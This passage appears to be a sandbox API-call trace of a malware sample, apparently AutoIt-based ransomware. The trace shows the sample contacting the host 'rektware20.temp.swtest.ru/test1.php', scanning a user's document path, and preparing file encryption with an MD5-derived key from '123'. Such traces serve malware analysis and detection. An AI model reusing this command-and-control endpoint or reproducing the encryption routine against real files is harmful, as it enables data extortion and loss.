lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c) returned 1 [0071.563] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.563] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.563] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.564] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0071.564] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0071.564] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0071.564] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0071.564] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0071.564] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.565] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.566] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.566] CloseHandle (hObject=0x0) returned 0 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0071.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DuzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uzxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zxPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xPFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PFz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Fz99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="99j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WO.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.568] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.568] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0071.568] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.569] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0071.569] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0071.569] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.569] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0071.569] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0071.569] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d90, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d90, lpdwBufferLength=0x130ee1c) returned 1 [0071.569] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.569] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.569] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.570] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0071.570] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0071.570] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0071.570] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291d0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0071.570] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0071.570] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.570] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.570] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.571] CloseHandle (hObject=0x0) returned 0 [0071.571] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.571] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0071.571] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0071.571] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.571] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.571] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.571] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.571] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.571] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.571] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0071.572] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.572] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.572] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0071.572] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.574] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.574] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.574] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.574] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.574] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0071.574] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0071.575] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0071.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0071.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0071.575] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0071.575] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aac48) returned 1 [0071.576] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.576] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.576] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0071.576] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.576] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.576] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.576] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.576] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.576] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.576] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.576] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.576] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.576] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.576] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.576] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.576] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0071.576] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.577] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.577] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.577] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.577] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.577] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.577] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.577] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.577] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.577] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.577] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.577] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.577] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.577] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.577] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.577] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.577] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0071.578] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0071.578] CryptCreateHash (in: hProv=0x17aac48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0071.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.578] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0071.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 